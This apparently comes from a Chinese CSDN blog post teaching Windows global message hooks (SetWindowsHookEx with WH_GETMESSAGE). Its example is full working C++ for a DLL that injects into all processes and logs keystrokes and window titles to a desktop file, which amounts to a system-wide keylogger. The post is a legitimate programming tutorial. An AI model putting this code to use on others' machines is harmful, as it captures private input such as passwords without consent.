全局HOOK解析

全局HOOK主要利用SetWindowsHookEx函数。钩子有很多种类型,其目的是为了截获特定目的的Windows消息,也可以监控特定线程,只要第四个参数设定特定线程的TID。每当有特定消息被HOOK到时会触发特定的回调函数。每种钩子都有不同的回调函数来处理不同类型的消息。先看函数参数:

HHOOK SetWindowsHookExA(
  int       idHook, // 设定为WH_GETMESSAGE
  HOOKPROC  lpfn, 
  HINSTANCE hmod,
  DWORD     dwThreadId 
);

第一个参数是钩子的类型。这里使用WH_GETMESSAGE,MSDN上是这么说明的:

这种类型的钩子截取发送到消息队列的消息。也就是还未被具体窗口过程处理的时候。

假设我想要通过WH_GETMESSAGE钩子截获键盘输入那就不能截获WM_CHAR消息。因为这种类型的钩子截获的消息还未进入窗口过程仅仅是在系统消息队列中,那也就无法被TranslateMessage转化(WM_CHAR是由TranslateMessage函数转化WM_KEYDOWN后获取)。甚至都没有通过GetMessage获得,因为它根本没有进入窗口过程,就更别说消息循环了。正确的方法是截获WM_KEYDOWN消息。

当然了,如果想要截获键盘消息,那直接用键盘钩子就行了。WH_GETMESSAGE全局钩子可以作为一种注入的手段来使用。

下面给出一个实例,这个实例是通过WH_GETMESSAGE钩子截获键盘消息(仅包含字母和数字):

//dllmain.cpp
#include <windows.h>
#include <tchar.h>
#include <cstdio>
#include "GlobalHook.h"

extern HMODULE g_hModule;

BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
	switch (fdwReason) {
	case DLL_PROCESS_ATTACH:
		g_hModule = hInst;
		SetHook();
		break;
	case DLL_PROCESS_DETACH:
		UnHook();
		g_hModule = NULL;
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}

	return(TRUE);
}




// GlobalHook.h
#ifndef _GLOBALHOOK_H_
#define _GLOBALHOOK_H_

#include <windows.h>
#include <tchar.h>

#ifdef GLOBALHOOK

#else
	#define GLOBALHOOK  extern "C" __declspec(dllimport)
#endif

GLOBALHOOK BOOL SetHook();

GLOBALHOOK BOOL UnHook();

LRESULT CALLBACK GetMsgProc(
	_In_ int    code,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
);

#endif





// GlobalHook.cpp
#define GLOBALHOOK extern "C" __declspec(dllexport)
#include "GlobalHook.h"
#include <shlobj.h>

#pragma data_seg("hook")
	HHOOK g_hook = 0;
#pragma data_seg()
#pragma comment(linker, "/SECTION:hook,RWS")

HMODULE g_hModule = NULL;
int i = 0;

BOOL SetHook() {
	if (!g_hook)
		g_hook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hModule, 0);
	if (NULL == g_hook)
		return(FALSE);
	return(TRUE);
}

BOOL UnHook() {
	if (g_hook) {
		if (UnhookWindowsHookEx(g_hook)) {
			g_hook = NULL;
			return(TRUE);
		}
		return(FALSE);
	}

	return(TRUE);
}

LRESULT CALLBACK GetMsgProc(
	_In_ int    code,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
) {
	DWORD dwWritten = 0;
	PMSG pMsg = (PMSG)lParam;
	TCHAR szPath[MAX_PATH] = {0};
	TCHAR szInfo[1024] = {0};
	TCHAR szTitle[MAX_PATH] = {0};
	SHGetSpecialFolderPath(NULL, szPath, CSIDL_DESKTOP, FALSE);
	_tcscat_s(szPath, "\\hello.txt");
	if (HC_ACTION == code && pMsg->message == WM_KEYDOWN) {
		if ((pMsg->wParam >= 0x30 && pMsg->wParam <= 0x39) || (
			pMsg->wParam >= 0x41 && pMsg->wParam <= 0x5A)) {
			GetWindowText(pMsg->hwnd, szTitle, MAX_PATH * sizeof(TCHAR));
			wsprintf(szInfo, "[%s]: %c\r\n", szTitle, pMsg->wParam);
			HANDLE hFile = NULL;
			if ((hFile = CreateFile(szPath,
				GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) ==
				INVALID_HANDLE_VALUE) 
				hFile = CreateFile(szPath,
					GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
			if (INVALID_HANDLE_VALUE == hFile)
				goto END;
			SetFilePointer(hFile, 0, 0, FILE_END);
			WriteFile(hFile, szInfo, _tcslen(szInfo) * sizeof(TCHAR), &dwWritten, NULL);
			CloseHandle(hFile);
		}	
	}
END:
	return(CallNextHookEx(g_hook, code, wParam, lParam));
}








// 这里是测试程序
#include <windows.h>
#include <cstdio>
#include <tchar.h>

int _tmain() {
	HMODULE hDll = LoadLibrary("GlobalHook.dll");

	if (NULL == hDll)
		return(-1);
	else
		_tprintf("Hook set successfully!\n");
	system("pause");
	FreeLibrary(hDll);
	_tprintf("Hook free successfully!\n");
	system("pause");

	return(0);
}

我把钩子做成了DLL,以此来方便注入所有进程。测试程序直接使用LoadLibrary载入该DLL便可以安装钩子了。

 首先关于共享段,共享段的具体内容可以参考《Windows核心编程》第五版。为了能所有映射入钩子DLL的进程共同使用同一个HHOOK,使必须把HHOOK变量放入共享段,不然的话当卸载钩子的时候会出现无法卸载其他钩子的情况。

(完)

  • 1
    点赞
  • 2
    收藏
  • 打赏
    打赏
  • 0
    评论
©️2022 CSDN 皮肤主题:护眼 设计师:闪电赇 返回首页
评论

打赏作者

Kiopler

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值